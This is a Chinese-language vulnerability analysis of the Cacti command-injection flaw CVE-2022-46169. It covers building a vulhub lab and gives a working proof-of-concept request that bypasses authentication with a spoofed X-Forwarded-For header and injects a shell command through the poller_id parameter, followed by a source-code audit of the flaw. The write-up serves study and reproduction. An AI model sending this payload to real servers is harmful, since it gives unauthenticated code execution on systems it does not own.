Cacti 前台命令注入漏洞(CVE-2022-46169)
一、漏洞概述
Cacti 作为开源监控框架,在特定版本中存在严重的命令注入漏洞。未经身份验证的攻击者可通过构造恶意请求,绕过身份验证并在服务器上执行任意代码,风险等级极高1。该漏洞的核心在于 remote_agent.php 文件中存在身份验证绕过与命令注入的双重缺陷,本文将结合源代码进行深度剖析。
二、漏洞环境搭建
复现该漏洞需准备以下环境与工具:
- 操作系统:Linux(基于 vulhub 平台部署)
 - 辅助工具:burpsuite 抓包工具
 - 漏洞镜像:CVE-2022-46169 对应版本的 Cacti 镜像
 
搭建步骤
- 拉取并部署漏洞环境
cd vulhub-master/Cacti/CVE-2022-46169/docker-compose up -d - 访问 
http://ip:port,使用默认账户密码(admin/admin)完成初始化安装 
    
三、漏洞验证 POC
以下 HTTP 请求可用于验证漏洞存在:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1X-Forwarded-For: 127.0.0.1Host: 192.168.20.150:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/137.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Connection: keep-alive
执行后可在服务器 /tmp 目录下生成 success 文件,证明命令注入成功

四、源代码深度审计
1. 身份验证绕过原理
remote_agent.php 的核心验证逻辑位于 remote_client_authorized() 函数,其代码逻辑如下:
function remote_client_authorized() { $client_addr = get_client_addr(); $client_name = gethostbyaddr($client_addr); $pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id); foreach($pollers as $poller) { if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name || $poller[\'hostname\'] == $client_addr) { return true; } } return false;}
- 绕过技巧:通过构造 
X-Forwarded-For: 127.0.0.1请求头,使$client_addr被识别为本地 IP 

- 关键缺陷:系统对本地 IP 的信任机制导致验证被绕过,当 
$client_addr为127.0.0.1时直接通过主机名校验 
2. 命令注入代码分析
命令注入点位于 poll_for_data() 函数的 POLLER_ACTION_SCRIPT_PHP 分支:
case POLLER_ACTION_SCRIPT_PHP: $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);
- 参数传递链:
$poller_id由get_nfilter_request_var(\'poller_id\')获取,该函数未对输入做严格过滤 - 执行机制:
proc_open()函数直接拼接$poller_id并执行系统命令,导致注入代码被执行 - 触发条件:需通过 
action=polldata参数调用poll_for_data()函数,同时满足local_data_ids和host_id参数的有效性 
3. 漏洞触发完整流程
- 攻击者构造包含 
X-Forwarded-For: 127.0.0.1的请求头,绕过remote_client_authorized()验证 - 通过 
action=polldata参数调用poll_for_data()函数 - 在 
$poller_id参数中注入恶意命令(如touch /tmp/success) - 系统通过 
proc_open()执行包含恶意命令的代码,完成攻击 



